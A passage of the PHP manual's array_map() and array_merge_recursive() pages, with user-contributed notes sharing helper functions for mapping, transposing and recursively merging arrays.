         * arrayMap function. Customized array_map function which preserves keys/associate array indexes. Note that this costs a descent amount more memory (eg. 1.5k per call)
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                $temp    =    $args;
                array_unshift($temp,$value);
                if(is_array($value)) {
                    array_unshift($temp,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$temp);
                } else {
                    $results[$key]    =    call_user_func_array($callback,$temp);
                }
            }
            return $results;
        }
?>
onassar at gmail dot com 11-Oct-2009 03:33
Wrote up my own key preservation function for array mapping. It allows n arguments to be passed, and should be easy enough to follow if you need to make any mods. If you've got any thoughts let me know.

<?php
        /**
         * arrayMap function. Customized array_map function which preserves keys/associate array indexes.
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                if(is_array($value)) {
                    array_unshift($args,$value);
                    array_unshift($args,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$args);
                }
                else {
                    array_unshift($args,$value);
                    $results[$key]    =    call_user_func_array($callback,$args);
                }
            }
            return $results;
        }
?>
macnimble at gmail dot com 10-Sep-2009 12:27
I recently discovered that PHP has no loop-free manner for modifying the keys in an array. I was hoping to use a built-in function to prefix the keys.

Having found no native function to do this, I threw together this monster:

<?php
function array_prefix_keys ()
{
  $args = func_get_args();
  $prefix = array_shift($args);
  $func = create_function('$p,$k','return "$p{$k}";');
  foreach ($args AS $key => $array):
    $args[$key] = array_combine( array_map( $func
                                          , array_fill(0,count($array),$prefix)
                                          , array_keys($array)
                                          )
                               , array_values($array)
                               );
  endforeach;
  return $args;
}
$array1 = array(
  'id'     => 1,
  'title'  => 'about-us',
  'author' => 'Bill Brown',
  'dated'  => '2009-SEP-15'
);
$array2 = array(
  'id'     => 2,
  'title'  => 'about-them',
  'author' => 'Bill Smith',
  'dated'  => '2010-SEP-15'
);
echo '<pre>',print_r($array1,1),print_r($array2,1),'</pre>';
$array = array_prefix_keys("content_",$array1,$array2);
$array1 = $array[0];
$array2 = $array[1];
echo '<pre>',print_r($array1,1),print_r($array2,1),'</pre>';
?>

This will produce the following output:

Array
(
    [id] => 1
    [title] => about-us
    [author] => Bill Brown
    [dated] => 2009-SEP-15
)
Array
(
    [id] => 2
    [title] => about-them
    [author] => Bill Smith
    [dated] => 2010-SEP-15
)

Array
(
    [content_id] => 1
    [content_title] => about-us
    [content_author] => Bill Brown
    [content_dated] => 2009-SEP-15
)
Array
(
    [content_id] => 2
    [content_title] => about-them
    [content_author] => Bill Smith
    [content_dated] => 2010-SEP-15
)

Hope it helps!
Bill

[EDIT BY danbrown AT php DOT net: The original function and note was removed in favor of this update by the original author.  The original note also contained the following descriptive text.]

I recently discovered that PHP has no loop-free manner for modifying the keys in an array. I was hoping to use a built-in function to prefix the keys.

Having found no native function to do this, I threw together this monster.
ethaizone at hotmail dot com 01-Sep-2009 07:34
My English is weak but I want to share my code.
I want to change formation of array but when I use null is callback function in array_map().
It has problem in result so I write new small function for it.

<?php
function array_change_formation($arr=array()) {
    $new_arr = array();
    foreach($arr as $k => $v)
        foreach($v as $k2 => $v2)
            $new_arr[$k2][$k] = $v[$k2];
    return $new_arr;
}
?>

Input:
Array
(
    [Human] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
        )

    [Pet] => Array
        (
            [0] => Cat
            [1] => Dog
            [2] => Rabbit
            [3] => Rat
        )

)

OutPut:
Array
(
    [0] => Array
        (
            [Human] => 1
            [Pet] => Cat
        )

    [1] => Array
        (
            [Human] => 2
            [Pet] => Dog
        )

    [2] => Array
        (
            [Human] => 3
            [Pet] => Rabbit
        )

    [3] => Array
        (
            [Human] => 4
            [Pet] => Rat
        )

)

I hope it can useful.
galenjr at gmail dot com 14-Jun-2009 11:19
Another way to array_map htmlentities with a specific quote style is to create a function that does it and map that function

<?php

function map_entities( $str ) {
    return htmlentities( $str, ENT_QUOTES );
}
$good_array = array_map ( 'map_entities', $bad_array );

?>
radist-hack at yandex dot ru 01-Nov-2008 01:37
To transpose rectangular two-dimension array, use the following code:

array_unshift($array, null);
$array = call_user_func_array("array_map", $array);

If you need to rotate rectangular two-dimension array on 90 degree, add the following line before or after (depending on the rotation direction you need) the code above:
$array = array_reverse($array);

Here is example:

<?php
$a = array(
  array(1, 2, 3),
  array(4, 5, 6));
array_unshift($a, null);
$a = call_user_func_array("array_map", $a);
print_r($a);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 4
        )

    [1] => Array
        (
            [0] => 2
            [1] => 5
        )

    [2] => Array
        (
            [0] => 3
            [1] => 6
        )

)
Heero 16-Oct-2008 10:02
You can easily remove all HTML tags from $_GET or $_POST variables using something like this:

<?php

$_POST = array_map('strip_tags', $_POST);
$_GET = array_map('strip_tags', $_GET);

?>

This is useful when you don't want to parse HTML.
stijnleenknegt at gmail dot com 22-Jul-2008 04:17
If you want to pass an argument like ENT_QUOTES to htmlentities, you can do the follow.

<?php
$array = array_map( 'htmlentities' , $array, array_fill(0 , count($array) , ENT_QUOTES) );
?>

The third argument creates an equal sized array of $array filled with the parameter you want to give with your callback function.
GUI 26-Jun-2008 07:48
The following takes an array of objects, and returns the result of calling a member function on each object. So if I have an array of objects that all have a getName() method, calling array_map_objects("getName", $thingies) will return the array filled with the getName() value for each object.

<?php
function array_map_objects($member_function, $array) {
    $values = array();

    if(is_string($member_function) && is_array($array)) {
        $callback = create_function('$e', 'return call_user_func(array($e, "' . $member_function .'"));');
        $values = array_map($callback, $array);
    }

    return $values;
}
?>
BloodElf 27-Apr-2008 06:32
Here is a simple way to highlight the matched words in the search results:

<?php

function highlight($word) {
        static $num = 1;
        return '<span class="word' . $num++ . '">' . $word . '</span>';
}

$text = "ala bala nica turska panica";
$search = "bala turska";
$words = explode(' ', $search);

echo str_replace($words, array_map("highlight", $words), $text);
moester at gmail dot com 02-Apr-2008 01:21
Wish this was built in.  Mimics Ruby and Prototype's array pluck function.  Returns specific key/column from an array of objects.

<?php
function array_pluck($key, $array)
{
    if (is_array($key) || !is_array($array)) return array();
    $funct = create_function('$e', 'return is_array($e) && array_key_exists("'.$key.'",$e) ? $e["'. $key .'"] : null;');
    return array_map($funct, $array);
}

// usage:

$a = array(array("id"=>10, "name"=>"joe"), array("id"=>11, "name"=>"bob"));

$ids = array_pluck("id", $a);        // == array(10,11)
$names = array_pluck("name", $a);    // == array("joe", "bob")

//works on non-keyed arrays also:

$a = array(array(3,4), array(5,6));
$col2 = array_pluck(1,$a);            // == array(4,6) (grab 2nd column of data)

?>
chreekat 12-Mar-2008 03:48
I was miffed that array_map didn't have a way to pass values *and* keys to the callback, but then I realized I could do this:

function callback($k, $v) { ... }

array_map( "callback", array_keys($array), $array);
jo at ho dot nl 17-Feb-2008 02:10
Could also use things like...

array_keys(); and array_values(); offcourse...

However it's just an example off recursion via this function..
Which I found pretty handy at times dealing with arrays..

could also use:

<?php
call_user_func(array($this, __FUNCTION), $args);
?>

or

<?php
call_user_fuc_array(array($this, __FUNCTION__), $array);
?>

or

<?php
class{

   public function __construct($arg){
       if(is_array($arg)){
            new self($arg);
       }
       else{
           echo $arg.'<br/>'.PHP_EOL;
       }
   }
}
?>

Anyway.. plenty off examples..
It was just an idea for others...
avartabedian at webservice dot com dot uy 08-Feb-2008 05:39
loaded67 at hotmail dot com, there is a little error in the add func params values.

Warning: Missing argument 2 for test::add(), called in /tmp/test.php on line 34 and defined in /tmp/test.php on line 6
Array => <br/>

now it runs...

<?php
class test{

    //private $container = array();

    final public function add($key, $value=NULL){
         /* params values fix */
         $value = $value==NULL?$key:$value;
         /* recursion */
         if(is_array($value)){
               array_map(array($this, __FUNCTION__), array_keys($value), array_values($value));
         }
         /* procedural */
         else{
             echo $key.' => '.$value.'<br/>'.PHP_EOL;
             // do stuff...
             // if(!isset($this->container[$key])){
             //       $this->container[$key] = $value;
             // }
             //else{  // trigger_error() xor throw new Exception?
             //         echo 'allready exists!<br/>'.PHP_EOL;
             //}
         }
    }
}
//
$array = array (
                               'one'   => 'value1',
                               'two'   => 'value2',
                               'three' => 'value3'
                            );

$t = new test;
$t->add($array);
?>

good luck!
loaded67 at hotmail dot com 08-Feb-2008 02:59
this function is really nice for recursion in php!!!

example in a class:

<?php
class test{

    //private $container = array();

    final public function add($key, $value){
         /* recursion */
         if(is_array($value)){
               array_map(array($this, __FUNCTION__), array_keys($value), array_values($value));
         }
         /* procedural */
         else{
             echo $key.' => '.$value.'<br/>'.PHP_EOL;
             // do stuff...
             // if(!isset($this->container[$key])){
             //       $this->container[$key] = $value;
             // }
             //else{  // trigger_error() xor throw new Exception?
             //         echo 'allready exists!<br/>'.PHP_EOL;
             //}
         }
    }
}
//
$array = array (
                               'one'   => 'value1',
                               'two'   => 'value2',
                               'three' => 'value3'
                            );

$t = new test;
$t->add($array);
?>

you could easiely do this without a class too offcourse!
used in php 5.2.5
pmf 22-Jan-2008 07:02
This function behaves exactly like array_map but additionally does not reject non-array arguments. Instead, it transforms them with the array_fill function to a constant valued array of required length according to the other array arguments (if any) and executes the original array_map function.

<?php

function array_map2() {
    $args = func_get_args();

    $callback = array_shift($args);

    $args = array_map(
            create_function('$a,$max','return is_array($a)? $a: array_fill(0,$max,$a);'),
            $args,array_fill(0,count($args),array_reduce($args,
            create_function('$v,$w','return max($v,is_array($w)? count($w): 1);'))));

    array_unshift($args,$callback);

    return call_user_func_array("array_map",$args);
}

?>

Example:

<?php

$get = "first=value1&second=value2&third=value3";

print_r(array_map2("explode","=",explode("&",$get)));

?>

would print out:

<?php

Array
(
    [0] => Array
        (
            [0] => first
            [1] => value1
        )

    [1] => Array
        (
            [0] => second
            [1] => value2
        )

    [2] => Array
        (
            [0] => third
            [1] => value3
        )
)

?>

/pmf
henrique at webcoder dot com dot br 01-Nov-2007 08:02
Adding method support to function by Andref (multidimensionalArrayMap).

function array_map_r( $func, $arr )
{
    $newArr = array();

    foreach( $arr as $key => $value )
    {
        $newArr[ $key ] = ( is_array( $value ) ? array_map_r( $func, $value ) : ( is_array($func) ? call_user_func_array($func, $value) : $func( $value ) ) );
    }

    return $newArr;
}

array_map_r('function', array());
or
array_map_r(array('class', 'method'), array());
bturchik at iponweb dot net 19-Jul-2007 07:46
Maybe this one will be useful for someone:

function array_map_helper($mapper, $array) {
    $mapper = preg_replace('/^return (.*?);$/', '$1', trim($mapper));
    $result = array();
    if (preg_match('/(\(?)(.*?)\s*=>\s*(.*?)(\)?)$/', $mapper, $matches)) {
        list($full_found, $array_open, $left, $right, $array_close) = $matches;
        if ($array_open && $array_close) {
            $mapper = '$result[] = array' . $full_found . ';';
        } else {
            $mapper = '$result[' . $left . '] = ' . $right . ';';
        }
    } else {
        $mapper = '$result[] = ' . $mapper . ';';
    }

    foreach ($array as $key => $value) {
        eval($mapper);
    }

    return $result;
}

should be used like:

$array = array(array('foo' => 11, 'bar' => 22),
               array('foo' => 111, 'bar' => 222),
               array('foo' => 1111, 'bar' => 2222));
$mapped = array_map_helper('$value["foo"] => $value["bar"]', $array);

var_dump will give

array(3) {
  [11]=>
  int(22)
  [111]=>
  int(222)
  [1111]=>
  int(2222)
}

or

$mapped = array_map_helper('$value["foo"]', $array);

var_dump will give

array(3) {
  [0]=>
  int(11)
  [1]=>
  int(111)
  [2]=>
  int(1111)
}

or

$mapped = array_map_helper('$value["foo"] + $value["bar"] . " at position $key"', $array);

var_dump will give

array(3) {
  [0]=>
  string(16) "33 at position 0"
  [1]=>
  string(17) "333 at position 1"
  [2]=>
  string(18) "3333 at position 2"
}
andref dot dias at pronus dot eng dot br 24-Oct-2006 12:14
A recursive way to handle multidimensional arrays:

<?php

function multidimensionalArrayMap( $func, $arr )
    {
    $newArr = array();
    foreach( $arr as $key => $value )
        {
        $newArr[ $key ] = ( is_array( $value ) ? multidimensionalArrayMap( $func, $value ) : $func( $value ) );
        }
    return $newArr;
    }

?>
pcdinh at phpvietnam dot net 17-Mar-2006 08:50
Hi benjaminhill,

You can apply a method of a instantiated class to array_maps as follows:

class Maths {
    function addOne($input) {
        return ($input + 1);
    }
}
$maths = new Maths();
$sum = array_map(array($maths, \\\'addOne\\\'), array(1, 2));
// where $maths is the object which has been instantiated before and addOne is its method without its own parameters
var_dump($sum);

The code fragment will return:

array
  0 => 2
  1 => 3

However, I love a syntax like this:

$sum = array_map($maths->addOne($this), array(1, 2));

where $this should be interpreted as each values extracted from the subsequent array, which in this case is array(1, 2).

This syntax reminds me of Javascript syntax.

PHP\\\'s callback mechanism should be improved.
26-Aug-2005 06:57
Here's a function, very helpfull to me, that allows you to map your callback on mixed args.

<?php
function array_smart_map($callback) {
    // Initialization
    $args = func_get_args() ;
    array_shift($args) ; // suppressing the callback
    $result = array() ;

    // Validating parameters
    foreach($args as $key => $arg)
        if(is_array($arg)) {
            // the first array found gives the size of mapping and the keys that will be used for the resulting array
            if(!isset($size)) {
                $keys = array_keys($arg) ;
                $size = count($arg) ;
            // the others arrays must have the same dimension
            } elseif(count($arg) != $size) {
                return FALSE ;
            }
            // all keys are suppressed
            $args[$key] = array_values($arg) ;
        }

    // doing the callback thing
    if(!isset($size))
        // if no arrays were found, returns the result of the callback in an array
        $result[] = call_user_func_array($callback, $args) ;
    else
        for($i=0; $i<$size; $i++) {
            $column = array() ;
            foreach($args as $arg)
                $column[] = ( is_array($arg) ? $arg[$i] : $arg ) ;
            $result[$keys[$i]] = call_user_func_array($callback, $column) ;
        }

    return $result ;

}
?>

Trying with :

<?php
// $_GET is ?foo=bar1-bar2-bar3&bar=foo1
print_r(array_smart_map('explode', '-', $_GET)) ;
?>

Returns :

array(
    [foo] => array(
        0 => bar1
        1 => bar2
        2 => bar3
    )

    [bar] => array(
        1 => foo1
    )
)
david dot tulloh at infaze dot com dot au 06-Jul-2005 04:53
You can pass values to array_map by reference, essentially allowing you to use it as you would array_walk with multiple arrays as parameters.

A trivial example:
<?php
$a = array(1,2,3,4,5);
$add_func = create_function('&$x, $y', '$x+=$y;');
array_map($add_func, $a, $a);
print_r($a);
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Vinicius Cubas Brand 23-Mar-2005 05:31
The following function does exaclty the same thing of array_map. However, maintains the same index of the input arrays

<?php
    function array_map_keys($param1,$param2,$param3=NULL)
    {
        $res = array();

        if ($param3 !== NULL)
        {
            foreach(array(2,3) as $p_name)
            {
                if (!is_array(${'param'.$p_name}))
                {
                    trigger_error(__FUNCTION__.'(): Argument #'.$p_name.' should be an array',E_USER_WARNING);
                    return;
                }
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key],$param3[$key]);
            }
        }
        else
        {
            if (!is_array($param2))
            {
                trigger_error(__FUNCTION__.'(): Argument #2 should be an array',E_USER_WARNING);
                return;
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key]);
            }
        }
        return $res;
    }
?>

For instance:

<?php
    $arr1 = array(
        '3' => 'a',
        '4' => 'b',
        '5' => 'c'
        );

    $arr2 = array(
        '3' => 'd',
        '4' => 'e',
        '5' => 'f'
        );

    $arr3 = array_map_keys(create_function('$a,$b','return $a.$b;'),$arr1,$arr2);

    print_r($arr3);

?>

The result will be:

Array
(
    [3] => ad
    [4] => be
    [5] => cf
)
endofyourself at yahoo dot com 19-Feb-2005 11:29
If you need to call a static method from array_map, this will NOT work:

<?PHP
array_map('myclass::myMethod' , $value);
?>

Instead, you need to do this:

<?PHP
array_map( array('myclass','myMethod') , $value);
?>

It is helpful to remember that this will work with any PHP function which expects a callback argument.
nd0 at gmx dot de 02-Jul-2004 04:42
array_map works also fine with create_function:

<?php
$a = array(1, 2, 3, 4, 5);
$b = array_map(create_function('$n', 'return $n*$n*$n;'), $a);
print_r($b);
?>

if you want to manipulate the elements of the array, instead to on a copy,
than take a look at array_walk:

<?php
$a = array(1, 2, 3, 4, 5);
array_walk($a, create_function('&$n', '$n = $n*$n*$n;'));
print_r($a);
?>

The Result of both is:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)
bishop 09-Apr-2004 05:07
Occasionally, you may find that you need to pull out a column (or several) from an array.  Here's a map-like function to do that:

<?php
function &array_shear(&$arrays, $idx1 /* ... */) {
    $indexes = func_get_args();
    array_shift($indexes);

    $newArrays = array ();

    foreach (array_keys($arrays) as $arrayKey) {
        $newArray = array ();
        foreach ($indexes as $index) {
            $newArray[$index] = $arrays[$arrayKey][$index];
            unset($arrays[$arrayKey][$index]);
        }
        $newArrays[$arrayKey] = $newArray;
    }

    return $newArrays;
}
?>

So, doing this:

<?php
$t1 = array (
          2 => array ('a', 'b', 'c'),
          1 => array ('d', 'e', 'f'),
          5 => array ('g', 'h', 'i'),
      );

$t2 = array_shear($t1, 1, 0);

?>

will result in:

<?php

$t1 = array (
  2 =>   array (    2 => 'c',  ),
  1 =>   array (    2 => 'f',  ),
  5 =>   array (    2 => 'i',  ),
);

$t2 = array (
  2 =>   array (    1 => 'b',    0 => 'a',  ),
  1 =>   array (    1 => 'e',    0 => 'd',  ),
  5 =>   array (    1 => 'h',    0 => 'g',  ),
);

?>
stephen at mu dot com dot au 06-Jan-2003 10:02
A note when doing something allong the lines of:

<?php
class foo {
  var $var;
  function bar() {
     array_map(array($this, "baz"), array(1,2,3));
  }

  function baz($arg) {
    $this->var = $this->var + $arg;
  }
}
?>

This will *not* work as expected. You need to pass $this by reference as with:

array_map(array(&$this, "baz"), array(1,2,3));

or you'll be making a copy of the object each time, changing a value, then throwing the result away.
dan at mojavelinux dot com 14-Jun-2002 10:07
Here is a better, more true version of a deep array_map.  The only negative of this function is that the array is passed by reference, so just be aware of that. (patches welcome)

<?php
function array_map_deep(&$in_array, $in_func, $in_args = array(), $in_index = 1) {
    // fix people from messing up the index of the value
    if ($in_index < 1) {
       $in_index = 1;
    }

    foreach (array_keys($in_array) as $key) {
        // we need a reference, not a copy, normal foreach won't do
        $value =& $in_array[$key];
        // we need to copy args because we are doing
        // manipulation on it farther down
        $args = $in_args;
        if (is_array($value)) {
            array_map_deep($value, $in_func, $in_args, $in_index);
        }
        else {
            array_splice($args, $in_index - 1, $in_index - 1, $value);
            $value = call_user_func_array($in_func, $args);
        }
    }

    return $in_array;
}
?>

This is a neat function because you can pass an array, a function, and an array of parameters, and finally, and index of where in the array of parameters for the callback function the contents you are mapping should get replaced.  This index is human based (starts at 1), and can be used in something like a preg_replace callback, where the contents must be the 3rd index.  Enjoy!
array_keys
array_merge_recursive
Array Functions


Merge two or more arrays recursively

array_map
array_merge
Array Functions
PHP Manual

array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5)

array_merge_recursive — Merge two or more arrays recursively

Description

array array_merge_recursive ( array $array1 [, array $... ] )

array_merge_recursive() merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.

If the input arrays have the same string keys, then the values for these keys are merged together into an array, and this is done recursively, so that if one of the values is an array itself, the function will merge it with a corresponding entry in another array too. If, however, the arrays have the same numeric key, the later value will not overwrite the original value, but will be appended.

Parameters

array1

Initial array to merge.

...

Variable list of arrays to recursively merge.

Return Values

An array of values resulted from merging the arguments together.

Examples

Example #1 array_merge_recursive() example

<?php
$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
print_r($result);
?>

The above example will output:

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

See Also

  • array_merge() - Merge one or more arrays

User Contributed Notes

martyniuk dot vasyl at gmail dot com 24-Dec-2011 09:10
This is my version of array_merge_recursive without overwriting numeric keys:
<?php
function array_merge_recursive_new() {

        $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    $base[$key] = $value;
                }
            }
        }

        return $base;
    }
?>
walf 25-May-2011 10:23
There are a lot of examples here for recursion that are meant to behave more like array_merge() but they don't get it quite right or are fairly customised. I think this version is most similar, takes more than 2 arguments and can be renamed in one place:

<?php

function array_merge_recursive_simple() {

    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $arrays = func_get_args();
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array)
            continue;
        foreach ($array as $key => $value)
            if (is_string($key))
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
                else
                    $merged[$key] = $value;
            else
                $merged[] = $value;
    }
    return $merged;
}

$a1 = array(
    88 => 1,
    'foo' => 2,
    'bar' => array(4),
    'x' => 5,
    'z' => array(
        6,
        'm' => 'hi',
    ),
);
$a2 = array(
    99 => 7,
    'foo' => array(8),
    'bar' => 9,
    'y' => 10,
    'z' => array(
        'm' => 'bye',
        11,
    ),
);
$a3 = array(
    'z' => array(
        'm' => 'ciao',
    ),
);
var_dump(array_merge($a1, $a2, $a3));
var_dump(array_merge_recursive_simple($a1, $a2, $a3));
var_dump(array_merge_recursive($a1, $a2, $a3));
?>

gives:

array(7) {              array(7) {              array(7) {
  int(1)                  int(1)                  int(1)
  ["foo"]=>               ["foo"]=>               ["foo"]=>
  array(1) {              array(1) {              array(2) {
    [0]=>                   [0]=>                   [0]=>
    int(8)                  int(8)                  int(2)
  }                       }                         [1]=>
  ["bar"]=>               ["bar"]=>                 int(8)
  int(9)                  int(9)                  }
  ["x"]=>                 ["x"]=>                 ["bar"]=>
  int(5)                  int(5)                  array(2) {
  ["z"]=>                 ["z"]=>                   [0]=>
  array(1) {              array(3) {                int(4)
    ["m"]=>                 [0]=>                   [1]=>
    string(4) "ciao"        int(6)                  int(9)
  }                         ["m"]=>               }
  [1]=>                     string(4) "ciao"      ["x"]=>
  int(7)                    [1]=>                 int(5)
  ["y"]=>                   int(11)               ["z"]=>
  int(10)                 }                       array(3) {
}                         [1]=>                     [0]=>
                          int(7)                    int(6)
                          ["y"]=>                   ["m"]=>
                          int(10)                   array(3) {
                        }                             [0]=>
                                                      string(2) "hi"
                                                      [1]=>
                                                      string(3) "bye"
                                                      [2]=>
                                                      string(4) "ciao"
                                                    }
                                                    [1]=>
                                                    int(11)
                                                  }
                                                  [1]=>
                                                  int(7)
                                                  ["y"]=>
                                                  int(10)
                                                }
andyidol at gmail dot com 10-Feb-2011 07:14
Here's my function to recursively merge two arrays with overwrites. Nice for merging configurations.

<?php

function MergeArrays($Arr1, $Arr2)
{
  foreach($Arr2 as $key => $Value)
  {
    if(array_key_exists($key, $Arr1) && is_array($Value))
      $Arr1[$key] = MergeArrays($Arr1[$key], $Arr2[$key]);

    else
      $Arr1[$key] = $Value;

  }

  return $Arr1;

}

?>
lsiq at papotam com 01-Oct-2010 01:17
<?php

//  this function merges an array with the $_SESSION
//  if you omit second parameter it merges to the root
//  if you give one 'path' array it is merged deeply

function arr2sess($arr, $path=array()){
   if (!is_array($arr)) return false;
   foreach($arr as $k => $v){
      if(is_array($arr[$k])) {
          $path[] = $k;
          arr2sess($arr[$k], $path);
      }else{
          $ref = &$_SESSION;
          if($path){
              foreach($path as $val){
                  if(!$ref[$val]) $ref[$val] = array();
                  $ref = &$ref[$val];
              }
          }
          $ref[$k] = $v;
      }
   }
}

session_start();
$x = array(k1=>12, k2=>array(kxx=>'forget me', kyy=>'I was allways here'));     // do you have any of this on $_SESSION
$rpl = array(k2=>array(kxx=>'I am a replaced value',kzz=>'I am a new value'));
arr2sess($x, array('deep','deep','in_session'));                                // you can use this way
arr2sess($x);                                                                   // or this
arr2sess($rpl);                                                                 // to merge parts with the $_SESSION

$w = array(120, q=>array(199,100));                                             // works the same way on numeric keys
arr2sess($w, array('one','two'));
arr2sess($w);

echo '<pre>';
print_r($_SESSION);

?>
mark dot roduner at gmail dot com 13-Feb-2010 11:34
<?php
/**
 * Merges any number of arrays / parameters recursively, replacing
 * entries with string keys with values from latter arrays.
 * If the entry or the next value to be assigned is an array, then it
 * automagically treats both arguments as an array.
 * Numeric entries are appended, not replaced, but only if they are
 * unique
 *
 * calling: result = array_merge_recursive_distinct(a1, a2, ... aN)
**/

function array_merge_recursive_distinct () {
  $arrays = func_get_args();
  $base = array_shift($arrays);
  if(!is_array($base)) $base = empty($base) ? array() : array($base);
  foreach($arrays as $append) {
    if(!is_array($append)) $append = array($append);
    foreach($append as $key => $value) {
      if(!array_key_exists($key, $base) and !is_numeric($key)) {
        $base[$key] = $append[$key];
        continue;
      }
      if(is_array($value) or is_array($base[$key])) {
        $base[$key] = array_merge_recursive_distinct($base[$key], $append[$key]);
      } else if(is_numeric($key)) {
        if(!in_array($value, $base)) $base[] = $value;
      } else {
        $base[$key] = $value;
      }
    }
  }
  return $base;
}
?>
drvali at hotmail dot com 05-Oct-2009 09:31
<?php
/**
 * Merges any number of arrays of any dimensions, the later overwriting
 * previous keys, unless the key is numeric, in whitch case, duplicated
 * values will not be added.
 *
 * The arrays to be merged are passed as arguments to the function.
 *
 * @access public
 * @return array Resulting array, once all have been merged
 */
function array_merge_replace_recursive() {
    // Holds all the arrays passed
    $params = & func_get_args ();

    // First array is used as the base, everything else overwrites on it
    $return = array_shift ( $params );

    // Merge all arrays on the first array
    foreach ( $params as $array ) {
        foreach ( $array as $key => $value ) {
            // Numeric keyed values are added (unless already there)
            if (is_numeric ( $key ) && (! in_array ( $value, $return ))) {
                if (is_array ( $value )) {
                    $return [] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [] = $value;
                }

            // String keyed values are replaced
            } else {
                if (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {
                    $return [$key] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [$key] = $value;
                }
            }
        }
    }

    return $return;
}

$a = array (
    "a" => 1,
    "b" => 2,
    'foo',
    'bar'
);
$b = array (
    "a" => 2,
    "c" => 3,
    'foo'
);

$c = array_merge_replace_recursive ( $a, $b );
print_r ( $a );
print_r ( $b );
print_r ( $c );
?>

Output:
Array
(
    [a] => 1
    [b] => 2
    [0] => foo
    [1] => bar
)
Array
(
    [a] => 2
    [c] => 3
    [0] => foo
)
Array
(
    [a] => 2
    [b] => 2
    [0] => foo
    [1] => bar
    [c] => 3
)
gabriel dot sobrinho at gmail dot com 13-Jul-2009 07:56
I refactored the Daniel's function and I got it:

<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param array $array2
 * @return array
 * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
 * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
 */
function array_merge_recursive_distinct ( array &$array1, array &$array2 )
{
  $merged = $array1;

  foreach ( $array2 as $key => &$value )
  {
    if ( is_array ( $value ) && isset ( $merged [$key] ) && is_array ( $merged [$key] ) )
    {
      $merged [$key] = array_merge_recursive_distinct ( $merged [$key], $value );
    }
    else
    {
      $merged [$key] = $value;
    }
  }

  return $merged;
}
?>

This fix the E_NOTICE when the the first array doesn't have the key and the second array have a value which is a array.
jonnybergstrom at googles mail domain dot comm 27-Jun-2009 08:30
This function didn't work for me - or it didn't do what I thought it would. So I wrote the below function, which merges two arrays, and returns the resulting array. The base array is the left one ($a1), and if a key is set in both arrays, the right value has precedence. If a value in the left one is an array and also an array in the right one, the function calls itself (recursion). If the left one is an array and the right one exists but is not an array, then the right non-array-value will be used.

*Any key only appearing in the right one will be ignored*
 - as I didn't need values appearing only in the right in my implementation, but if you want that you could make some fast fix.

function array_merge_recursive_leftsource(&$a1, &$a2) {
    $newArray = array();
    foreach ($a1 as $key => $v) {
        if (!isset($a2[$key])) {
            $newArray[$key] = $v;
            continue;
        }

        if (is_array($v)) {
            if (!is_array($a2[$key])) {
                $newArray[$key] = $a2[$key];
                continue;
            }
            $newArray[$key] = array_merge_recursive_leftsource($a1[$key], $a2[$key]);
            continue;
        }

        $newArray[$key] = $a2[$key];
    }
    return $newArray;
}
michiel at synetic dot nl 22-May-2009 01:54
